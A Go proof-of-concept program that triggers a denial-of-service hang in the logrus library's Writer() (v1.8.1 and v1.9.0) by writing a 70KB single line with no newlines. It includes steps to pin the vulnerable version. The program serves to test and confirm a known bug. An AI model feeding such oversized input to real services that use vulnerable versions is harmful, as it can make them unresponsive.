package main

import (
    "bytes"
    "fmt"
    "time"

    "github.com/sirupsen/logrus"
)

// Standalone PoC for the logrus Writer() DoS in v1.8.1 (and v1.9.0):
// Logs a single >64KB line without newlines via Writer(), which causes the
// process to hang or become unresponsive in vulnerable versions.
//
// Usage:
//   go mod init poclogrus
//   go get github.com/sirupsen/logrus@v1.8.1
//   go run poc_logrus_dos.go
//
// Expected in vulnerable versions:
// - The program hangs or prints a scanner error and stalls (DoS condition).
// - No graceful completion.
func main() {
    logger := logrus.New()

    // Obtain a Writer() that feeds into logrus' bufio.Scanner pipeline
    w := logger.Writer()
    defer w.Close()

    // Create a 70KB payload without newlines
    payload := bytes.Repeat([]byte("A"), 70000)

    fmt.Println("writing 70KB single-line payload to logrus.Writer() ...")
    if _, err := w.Write(payload); err != nil {
        fmt.Println("write error:", err)
    }

    // Give the background scanner time to process (and hang in vulnerable versions)
    time.Sleep(5 * time.Second)
    fmt.Println("if you see this and the program exits, you may be on a patched version")
}